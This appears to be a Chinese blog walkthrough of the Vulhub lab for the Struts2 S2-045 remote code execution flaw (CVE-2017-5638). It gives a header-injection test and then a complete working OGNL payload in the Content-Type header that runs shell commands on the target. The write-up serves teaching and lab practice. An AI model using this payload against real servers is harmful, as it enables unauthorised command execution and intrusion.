• vulhub-S2-045 远程代码执行漏洞(CVE-2017-5638)


    S2-045 远程代码执行漏洞(CVE-2017-5638)

    1.漏洞网址

    https://vulhub.org/#/environments/struts2/s2-045/
    
    • 1

    2.漏洞描述

    可以使用恶意值执行 RCE 攻击。如果该值无效,则会引发异常,然后使用该异常向用户显示错误消息。Content-Type``Content-Type
    
    • 1

    3.受影响的版本

    Struts 2.3.5 - Struts 2.3.31
    Struts 2.5  - Struts 2.5.10
    
    • 1
    • 2

    4.靶场搭建

    image-20230909103810650

    image-20230909103916420

    image-20230909104442960

    5.将bp中的数据包发送到的repeter

    image-20230909104858502

    image-20230909104832669

    6.在repeater模块修改数据包,验证是否存在RCE 漏

    image-20230909105404748

    Content-Type:
    %       {#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)} 是一个 OGNL 表达式,用于修改当前请求的 HttpServletResponse 对象的响应头。通过调用 addHeader 方法,它将设置一个新的响应头字段,名称为 "vulhub",值为 "54289"。
    .multipart/form-data 是指定请求的 Content-Type 类型为 multipart/form-data,表示请求是一个多部分表单数据。
    
    • 1
    • 2
    • 3

    image-20230909105851571

    7.经过上述步骤说明存在RCE漏洞,在Content-type 那里输入下述代码,获得目标信息

    "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ip a').(#iswin=
    (@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    
    • 1
    • 2

    8.出现root则表示执行成功。

    image-20230909111121828

    9/出现ip表示执行成功

    image-20230909111230125

    9/出现ip表示执行成功

    [外链图片转存中…(img-r2CRZuMV-1694240577132)]

    pP6WwSH.md.png

  • 相关阅读:
    函数式编程:Flutter&Dart中的组合
    实景剧本杀小程序开发搭建
    for循环里的定时器引发的思考
    LeetCode - 622. 设计循环队列(C语言,顺序存储结构,配图)
    carrier-server报错处理
    在任何机器人上实施 ROS 导航堆栈的指南
    【Spring Cloud实战】Eurake服务注册与发现
    VIM操作
    【跟晓月学shell脚本】掌握shell脚本变量原理及概念
    获取模板类型字符串
  • 原文地址:https://blog.csdn.net/m0_58265086/article/details/132777071